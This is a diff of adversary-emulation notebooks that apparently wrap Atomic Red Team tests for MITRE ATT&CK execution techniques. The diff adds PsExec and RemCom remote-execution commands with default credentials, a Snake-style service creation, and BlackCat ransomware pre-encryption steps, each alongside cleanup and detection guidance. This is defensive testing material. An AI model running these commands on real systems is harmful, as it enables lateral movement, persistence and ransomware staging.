adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -28,13 +183,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1569.001.ipynb b/playbook/tactics/execution/T1569.001.ipynb index c282a80f..7cedd45a 100644 --- a/playbook/tactics/execution/T1569.001.ipynb +++ b/playbook/tactics/execution/T1569.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "40f7a0d3", + "id": "00147e1d", "metadata": {}, "source": "# T1569.001 - Launchctl\nAdversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n" }, { "cell_type": "markdown", - "id": "d1112473", + "id": "230887c5", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "98a18ada", + "id": "469ba89b", "metadata": {}, "source": [ "### Atomic Test #1 - Launchctl", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "93b27069", + "id": "920e62db", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1569.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "0163e3eb", + "id": "bf2259d4", "metadata": {}, "source": "#### Cleanup: \n```bash\nlaunchctl remove evil\n```" }, { "cell_type": "code", "execution_count": null, - "id": "430d112e", + "id": "03763eac", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1569.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "f9742a3f", + "id": "e63e36b1", "metadata": {}, "source": "## Detection\nEvery Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \n\nMonitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files." } @@ -56,13 +56,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1569.002.ipynb b/playbook/tactics/execution/T1569.002.ipynb index 91e9927d..f437500a 100644 --- a/playbook/tactics/execution/T1569.002.ipynb +++ b/playbook/tactics/execution/T1569.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "8082de58", + "id": "86dc2e32", "metadata": {}, "source": "# T1569.002 - Service Execution\nAdversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation." }, { "cell_type": "markdown", - "id": "01f4ffc5", + "id": "deec0173", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "62a4c229", + "id": "186111af", "metadata": {}, "source": [ "### Atomic Test #1 - Execute a Command as a Service", @@ -28,73 +28,73 @@ { "cell_type": "code", "execution_count": null, - "id": "d948b32e", + "id": "5b10c978", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1569.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "17a9a463", + "id": "940b4650", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel C:\\art-marker.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e0271b36", + "id": "a62b00de", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1569.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "bcb045ec", + "id": "af6141fa", "metadata": {}, - "source": "### Atomic Test #2 - Use PsExec to execute a command on a remote host\nRequires having Sysinternals installed, path to sysinternals is one of the input input_arguments\nWill start a process on a remote host.\n\nUpon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\PSTools\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"C:\\PSTools\\PsExec.exe\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"C:\\PSTools\\PsExec.exe\" -Force\n\n```" + "source": "### Atomic Test #2 - Use PsExec to execute a command on a remote host\nRequires having Sysinternals installed, path to sysinternals is one of the input input_arguments\nWill start a process on a remote host.\n\nUpon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: PsExec tool from Sysinternals must exist in the ExternalPayloads directory\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\" -Force\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "77b52c83", + "id": "5dbc0332", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1569.002 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "74159a0c", + "id": "99dde5b4", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\PSTools\\PsExec.exe \\\\localhost -u DOMAIN\\Administrator -p P@ssw0rd1 -accepteula \"C:\\Windows\\System32\\calc.exe\"\n```" + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" \\\\localhost -u DOMAIN\\Administrator -p P@ssw0rd1 -accepteula \"C:\\Windows\\System32\\calc.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c1787e08", + "id": "f257a8e5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1569.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "11fa3d3b", + "id": "1f44624a", "metadata": {}, "source": "### Atomic Test #3 - psexec.py (Impacket)\nWill execute a command on the remote host with Impacket psexec.py script.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: psexec.py (Impacket)\n\n##### Check Prereq Commands:\n```bash\nif [ -x \"$(command -v psexec.py)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nsudo pip3 install impacket\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d219df62", + "id": "463a4a3d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1569.002 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2b59fc7f", + "id": "f8f72aad", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -104,49 +104,125 @@ { "cell_type": "code", "execution_count": null, - "id": "ebed4c09", + "id": "20e59f6e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1569.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "cadbb7d6", + "id": "039bd336", + "metadata": {}, + "source": "### Atomic Test #4 - BlackCat pre-encryption cmds with Lateral Movement\nThis atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: PsExec must exist on disk at \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\"\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\" -Force\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\") -Force | Out-Null\nCopy-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsTools\\PsExec.exe\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1ea3b09b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1569.002 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "38e896a0", "metadata": {}, "source": [ - "### Atomic Test #4 - BlackCat pre-encryption cmds with Lateral Movement", - "This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat", - "**Supported Platforms:** windows", - "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncmd.exe /c \"wmic \tcsproduct \tget UUID\" \ncmd.exe /c \"fsutil behavior \tset SymlinkEvaluation R2L:1\" \ncmd.exe /c \"fsutil behavior set \tSymlinkEvaluation R2R:1\"\nreg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f \ncopy $pathtoatomicsfolder\\T1569.002\\bin\\PsExec.exe $env:temp\ncmd.exe /c \"$env:temp\\psexec.exe -accepteula \\\\$ENV:COMPUTERNAME cmd.exe /c echo \"--access-token\"\"\n```" + "```powershell\ncmd.exe /c \"wmic \tcsproduct \tget UUID\" \ncmd.exe /c \"fsutil behavior \tset SymlinkEvaluation R2L:1\" \ncmd.exe /c \"fsutil behavior set \tSymlinkEvaluation R2R:1\"\nreg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f \ncopy \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" $env:temp\ncmd.exe /c \"$env:temp\\psexec.exe -accepteula \\\\$ENV:COMPUTERNAME cmd.exe /c echo \"--access-token\"\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "9de06562", + "id": "f234a777", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1569.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "bccec08b", + "id": "2c651e08", "metadata": {}, "source": "#### Cleanup: \n```powershell\nreg delete HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters /v MaxMpxCt /f\ncmd.exe /c \"fsutil behavior set SymlinkEvaluation R2L:0\" \ncmd.exe /c \"fsutil behavior set SymlinkEvaluation R2R:0\"\nrm $env:temp\\psexec.exe\n```" }, { "cell_type": "code", "execution_count": null, - "id": "291a1c64", + "id": "c6d79c60", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1569.002 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "2fc68b24", + "id": "6a5c7afe", + "metadata": {}, + "source": "### Atomic Test #5 - Use RemCom to execute a command on a remote host\nRequires having RemCom installed, path to RemCom is one of the input input_arguments\nWill start a process on a remote host.\nUpon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: RemCom tool must exist on disk in the ExternalPayloads folder\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\remcom.exe\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/kavika13/RemCom/raw/master/bin/Release/RemCom.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\remcom.exe\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3e88432e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1569.002 -TestNumbers 5 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "635bb908", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\remcom.exe\" \\\\localhost /user:Administrator /pwd:P@ssw0rd1 cmd.exe\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8f96ee88", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1569.002 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "4ce52ae2", + "metadata": {}, + "source": [ + "### Atomic Test #6 - Snake Malware Service Create", + "The following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\\WerFault.exe.\nThis was recently seen in the Snake Malware report. \nUpon execution, sc.exe will create a new service named WerFaultSvc with a bin path \\WinSxS\\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\\WerFault.exe and a display name of WerFault Service.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF) \n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nsc.exe create \"WerFaultSvc\" binPath= \"$env:windir\\WinSxS\\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\\WerFault.exe\" DisplayName= \"WerFault Service\" start= auto\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f0226970", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1569.002 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "1f68e490", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nsc.exe delete \"WerFaultSvc\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "3904e7fc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1569.002 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "f7d9cf54", "metadata": {}, "source": "## Detection\nChanges to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029)." } @@ -154,13 +230,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1569.ipynb b/playbook/tactics/execution/T1569.ipynb index b10a8840..09875fda 100644 --- a/playbook/tactics/execution/T1569.ipynb +++ b/playbook/tactics/execution/T1569.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "f8dbca80", + "id": "0236bb8f", "metadata": {}, "source": "# T1569 - System Services\nAdversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution." }, { "cell_type": "markdown", - "id": "614b67ba", + "id": "2347acfe", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "17f14a1d", + "id": "197023ee", "metadata": {}, "source": "## Detection\nMonitor for command line invocations of tools capable of modifying services that doesn\u2019t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry." }, { "cell_type": "markdown", - "id": "02640867", + "id": "e639c200", "metadata": {}, "source": "\n## Shield Active Defense\n### API Monitoring \n Monitor local APIs that might be used by adversary tools and activity. \n\n API Monitoring involves capturing an internal Operating System (OS) function for its usage, accompanying arguments, and result. When a defender captures this information, the intelligence gathered can be analyzed to gain insight into the activity of an adversary at a level deeper than normal system activity monitoring.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can monitor and analyze operating system functions calls for detection and alerting.\n#### Procedures\nTrace activity through WinSock TCP API functions to view potentially malicious network events. Log it such that it can be pushed to a centralized location and analyzed further.\nHook the Win32 DeleteFile() function to log all attempts at deleting a given file. This information can be used to trigger restoration attempts on critical data, reducing potential disruption if those files are unavailable for prolonged periods of time.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1609.ipynb b/playbook/tactics/execution/T1609.ipynb index a05f1729..241eae6d 100644 --- a/playbook/tactics/execution/T1609.ipynb +++ b/playbook/tactics/execution/T1609.ipynb @@ -2,78 +2,78 @@ "cells": [ { "cell_type": "markdown", - "id": "669d7fc7", + "id": "ef341b57", "metadata": {}, "source": "# T1609 - Container Administration Command\nAdversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)" }, { "cell_type": "markdown", - "id": "7ee77c95", + "id": "6723d1b2", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "cec1edb9", + "id": "94b150ae", "metadata": {}, "source": "### Atomic Test #1 - ExecIntoContainer\nAttackers who have permissions, can run malicious commands in containers in the cluster using exec command (\u201ckubectl exec\u201d). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using \u201ckubectl exec\u201d.\n\n**Supported Platforms:** containers\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: kubectl must be installed\n\n##### Check Prereq Commands:\n```bash\nwhich kubectl\n\n```\n##### Get Prereq Commands:\n```bash\necho \"kubectl must be installed manually\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4498dcd1", + "id": "89418218", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1609 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1249c1c3", + "id": "b1688d28", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", - "```bash\nkubectl create -f src/busybox.yaml -n default\nkubectl exec -n default busybox -- uname\n```" + "```bash\nkubectl create -f $PathtoAtomicsFolder/T1609/src/busybox.yaml -n default\n# wait 3 seconds for the instance to come up\nsleep 3\nkubectl exec -n default busybox -- uname\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "2665dfcb", + "id": "376a228a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1609 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "fa962a8e", + "id": "8d9360dd", "metadata": {}, "source": "#### Cleanup: \n```bash\nkubectl delete pod busybox -n default\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d0b1ecca", + "id": "fcd29a33", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1609 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "03d9a464", + "id": "bac79c49", "metadata": {}, "source": "### Atomic Test #2 - Docker Exec Into Container\nAttackers who have permissions, can run malicious commands in containers in the cluster using exec command (\u201cdocker exec\u201d). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using \u201cdocker exec\u201d. Kinsing (Golang-based malware) was executed with an Ubuntu container entry point that runs shell scripts.\n\n**Supported Platforms:** containers\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: docker must be installed\n\n##### Check Prereq Commands:\n```bash\nwhich docker\n\n```\n##### Get Prereq Commands:\n```bash\nif [ \"\" == \"`which docker`\" ]; then echo \"Docker Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install docker ; elif [ -n \"`which yum`\" ]; then sudo yum -y install docker ; fi ; else echo \"Docker installed\"; fi\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6ba47dac", + "id": "6e730783", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1609 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "265c30c3", + "id": "ebc18148", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "35fe0be0", + "id": "2c0d497f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1609 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "3f40d661", + "id": "54ac4401", "metadata": {}, "source": "#### Cleanup: \n```bash\ndocker stop t1609_container\ndocker rmi -f t1609:latest \n```" }, { "cell_type": "code", "execution_count": null, - "id": "e4aa37b3", + "id": "e7311c16", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1609 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "f117ee2f", + "id": "395ef2fc", "metadata": {}, "source": "## Detection\nContainer administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. " } @@ -112,13 +112,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1610.ipynb b/playbook/tactics/execution/T1610.ipynb index ec022318..ff9721af 100644 --- a/playbook/tactics/execution/T1610.ipynb +++ b/playbook/tactics/execution/T1610.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "a26b8355", + "id": "015580b3", "metadata": {}, "source": "# T1610 - Deploy Container\nAdversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)" }, { "cell_type": "markdown", - "id": "41fbb02b", + "id": "50bb712d", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "fdb9db34", + "id": "054bb278", "metadata": {}, "source": "### Atomic Test #1 - Deploy Docker container\nAdversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime. They can do this using docker create and docker start commands. Kinsing & Doki was exploited using this technique. \n\n**Supported Platforms:** containers\n#### Dependencies: Run with `sh`!\n##### Description: Verify docker is installed.\n##### Check Prereq Commands:\n```bash\nwhich docker\n\n```\n##### Get Prereq Commands:\n```bash\nif [ \"\" == \"`which docker`\" ]; then echo \"Docker Not Found\"; if [ -n \"`which apt-get`\" ]; then sudo apt-get -y install docker ; elif [ -n \"`which yum`\" ]; then sudo yum -y install docker ; fi ; else echo \"Docker installed\"; fi\n\n```\n##### Description: Verify docker service is running.\n##### Check Prereq Commands:\n```bash\nsudo systemctl status docker --no-pager\n\n```\n##### Get Prereq Commands:\n```bash\nsudo systemctl start docker\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "97170b87", + "id": "849c6751", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1610 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "77b2459b", + "id": "0cad9863", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ac3fa52f", + "id": "d8b4bb63", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1610 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "ca22b3cb", + "id": "bc34c616", "metadata": {}, "source": "#### Cleanup: \n```bash\ndocker stop t1610_container\ndocker rmi -f t1610:latest \n```" }, { "cell_type": "code", "execution_count": null, - "id": "f01aaf95", + "id": "4857a98b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1610 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "6c30b4e0", + "id": "dd957ca6", "metadata": {}, "source": "## Detection\nMonitor for suspicious or unknown container images and pods in your environment. Deploy logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application pods to detect malicious activity at the cluster level. In Docker, the daemon log provides insight into remote API calls, including those that deploy containers. Logs for management services or applications used to deploy containers other than the native technologies themselves should also be monitored." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1648.ipynb b/playbook/tactics/execution/T1648.ipynb index f77ceabb..4fe0bd8f 100644 --- a/playbook/tactics/execution/T1648.ipynb +++ b/playbook/tactics/execution/T1648.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "46164df2", + "id": "9723f22c", "metadata": {}, "source": "# T1648 - Serverless Execution\nAdversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers. \n\nAdversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud 